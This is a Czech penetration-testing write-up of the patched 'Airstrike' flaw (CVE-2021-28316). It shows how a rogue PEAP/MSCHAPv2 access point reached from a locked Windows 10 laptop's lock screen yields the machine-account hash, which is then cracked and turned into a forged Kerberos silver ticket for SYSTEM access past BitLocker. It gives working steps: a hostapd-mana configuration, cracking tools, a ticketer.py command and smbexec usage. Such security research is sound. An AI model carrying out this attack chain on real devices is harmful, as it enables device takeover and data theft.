Airstrike útok – eskalace privilegií na zašifrované doménové pracovní stanici
Ve výchozím nastavení umožňují pracovní stanice Windows připojené k doméně přístup k uživatelskému rozhraní pro výběr sítě ze zamykací obrazovky. Útočník s fyzickým přístupem k uzamčenému zařízení s funkcemi WiFi (jako je notebook nebo pracovní stanice) může tuto funkci zneužít k tomu, aby přinutil notebook, aby se ověřil proti podvodnému access pointu a zachytil hash odpovědi MSCHAPv2 pro účet počítače.
Tento hash odpovědi lze poté odeslat např. do hashcatu Prolamování hesel pomocí nástroje Hashcat, abychom získali jednoduchý NTLM hash účtu počítače.
Po cracknutí lze tento NTLM hash v kombinaci s doménovým SID použít k padělání Kerberos ticketů za účelem úspěšné autentizace a kompromitaci stanice. Příkladem je vytvoření silver ticketu pro službu CIFS notebooku za účelem ověření přes SMB jako uživatel SYSTEM a získání neomezeného přístupu k pevnému disku.
Vzhledem k tomu, že útok lze provést z uzamčeného zařízení, lze jej využít k obejití úplného šifrování disku Bitlockerem.
Dotčené verze
Bylo potvrzeno, že tato chyba zabezpečení se vyskytuje na hostitelích Windows 10 připojených k doméně. Starší verze systému Windows mohou být také zranitelné, ale nebyly testovány.
Jak to funguje?
Ti, kteří jsou obeznámeni s podnikovými bezdrátovými sítěmi, budou pravděpodobně znát protokol PEAP (Protected Extensible Authentication Protocol). PEAP je tunelovaný autentizační protokol, což znamená, že nejprve je vytvořen tunel SSL se serverem RADIUS (známý jako fáze 1), aby byl chráněno „tajemství“ odeslané během ověřování (fáze 2).
Jednou z nejběžnějších metod ověřování používaných v prostředích Windows je MSCHAPv2. Protokol MSCHAPv2 existuje již dlouhou dobu a má několik závažných kryptografických chyb, jak předvedli Moxie Marlinspike a David Hulton.
V prostředí Windows, když se uživatel domény ověřuje k bezdrátovému přístupovému bodu pomocí PEAP s MSCHAPv2, je výsledná hodnota hash odpovědi při připojování odvozena z hodnoty hash NTLM hesla uživatele domény.
Kromě ověřování uživatelů domény nabízí systém Windows také možnost použít ověřování počítače. To se používá k tomu, aby se zařízení mohlo ověřit v bezdrátové síti před přihlášením uživatele domény. Ověření počítače je vyžadováno k vyřešení situace, když se zařízení nejprve potřebuje autentizovat v síti, než bude schopno dosáhnout Active Directory a ověřit uživatele domény. Aby bylo zajištěno bezproblémové používání pro uživatele, toto ověření probíhá ze zamykací obrazovky ještě před přihlášením uživatele.
Ověřování počítače může pro svůj mechanismus ověřování používat buď klientské certifikáty, nebo MSCHAPv2. V případě klientských certifikátů se k ověření používá certifikát vydaný pro účet doménového počítače. Co se ale stane, když se s PEAP a MSCHAPv2 použije počítačová autentizace? V tomto případě se k ověření používá NTLM hash účtu počítače v doméně.
Hesla počítačových účtů jsou složitá, dlouhá a náhodně generovaná. Neexistuje způsob, jak bychom mohli obnovit heslo pro tento účet ve formátu prostého textu, ale to vůbec není potřeba, stačí pouze hash - ten má v kontextu prostředí domény Windows zvláštní význam, protože jsou spojeny se službou Kerberos. Kerberos tickety pro služby hostované počítačem (například služba CIFS) jsou podepsány a šifrovány pomocí NTLM hashe účtu počítače.
Abychom mohli padělat tickety, resp. vytvořit tzv. Silver ticket, potřebujeme následující informace:
- NTLM hash účtu počítače
- Název služby, ke které chceme získat přístup
- SID domény
Jakmile zachytíme MSCHAPv2 a crackneme/převedeme jej na NTLM hash počítače, potřebujeme pouze SID domény a můžeme vystavit své vlastní falešné tickety. SID domény není tajná informace a může jej získat každý běžný uživatel domény.
Postup
Nejprve musíme vytvořit podvodný access point, který podporuje PEAP s MSCHAPV2 autentizační metodou. Existuje mnoho nástrojů, jak toho dosáhnout, pro příklad využijeme hostapd-mana.
Poznámka: Aby bylo možné povolit připojení novějších verzí systému Windows 10, musí být certifikát RADIUS serveru podepsán pomocí důvěryhodné CA. Pokud to neuděláte, bude to mít za následek obecnou chybu „nepodařilo se připojit“.
Zde použijeme LetsEncrypt pomocí níže uvedených příkazů (všimněte si, že název serveru na certifikátu je irelevantní - pouze musí být podepsán důvěryhodnou autoritou).
# Generování certifikátů
sudo snap install --classic certbot
sudo certbot certonly --standalone -d radius.breakfix.co
Jakmile jsou certifikáty vygenerovány, přejmenujeme je, aby dávaly větší smysl s naší konfigurací hostapd, a vygenerujeme DH parametry.
# Přejmenování pro práci s hostapd
cp /etc/letsencrypt/live/radius.breakfix.co/fullchain.pem ca.pem
cp /etc/letsencrypt/live/radius.breakfix.co/privkey.pem server.key
cp /etc/letsencrypt/live/radius.breakfix.co/cert.pem server.pem
# Generování DH parametrů
openssl dhparam 2048 > dhparam.pem
Poté vytvoříme soubor „hostapd.conf“ s níže uvedeným obsahem:
interface=$WIRELESS_INTERFACE_HERE
ssid=Airstrike
hw_mode=g
channel=6
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=ca.pem
server_cert=server.pem
private_key=server.key
private_key_passwd=
dh_file=dhparam.pem
mana_wpe=1
A soubor „hostapd.eap_user“ s obsahem níže:
* PEAP,TTLS,TLS,MD5,GTC
"t" GTC,TTLS-MSCHAPV2,MSCHAPV2,MD5,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP
"1234test" [2]
Jakmile máme, hostpad-mana lze spustit příkazem ./hostapd hostpad.conf. V tomto okamžiku může útočník donutit notebook, aby se připojil k přístupovému bodu ze zamykací obrazovky (stačí ignorovat chybu certifikátu), což vede k zachycení hash odpovědi na výzvu MSCHAPV2 pro účet počítače, jak je vidět níže.
Bezdrátová autentizace se v této fázi nezdaří, protože MSCHAPv2 vyžaduje, aby access point také znal správné heslo, ale alespoň bude zachycen hash odpovědi.
Crack a kontrola NTLM hashe
MSCHAPv2 hash lze poté převést do formátu Cloud Crack pomocí nástroje chapcrack a odeslat do hashcatu, případně do online služby crack.sh (https://crack.sh/wpa-enterprise/) ke cracknutí.
Pro kontrolu můžeme využít secretsdump.py k ověření, že první 4 bajty K3 na výstupu chapcrack odpovídají posledním 4 bajtům NTLM hashe pro počítačový účet.
Jako ověřený uživatel domény můžeme načíst SID domény mnoha různými způsoby. Nejjednodušší je spustit whoami /all. Správný dotaz pozorného čtenáře zní: „jak můžu spustit whoami, když do počítače ještě přístup nemám?!“ což je pravda. Pro zjednodušení článku budeme předpokládat znalost SID domény ihned, ale samozřejmě lze zjistit i vzdáleně bez autentizace zachytáváním tzv. LDAP ping dotazů ve Wiresharku, což není předmětem tohoto článku.
Nyní máme všechny informace potřebné k vytvoření ticketu pro službu CIFS. Toho lze docílit nástrojem ticketer.py (součást Impacket) a níže uvedeného příkazu.
ticketer.py -nthash c86afa9bd3c7afa9ff31da6af182ddbe -domain-sid S-1-5-21-553012155-822088108-1873906631 -domain INITECH.local -spn cifs/DESKTOP-J5KI5KA.initech.local administrator
export KRB5CCNAME=administrator.ccache
Pomocí smbclientu máme nyní přístup k celému souborovému systému notebooku:
A nakonec, nástroje jako smbexec.py poskytují snadný způsob, jak privilegovaný shell v kontextu uživatele SYSTEM:
Závěr
Zjištění (mimochodem jedná se o zranitelnost s označením CVE-2021-28316), že zamykací obrazovka umožňuje připojení k WiFi sítím, a že podvodný access point dokáže vynutit zaslání MSCHAPv2 hashe, vede nakonec útočníka k eskalaci privilegií až na úroveň lokálního administrátora celého zařízení. NA zranitelnost bohužel již existuje záplata vydaná přímo Microsoftem, ale při penetračních testech se v některých případech stále setkáváme s tím, že útok lze stále použít.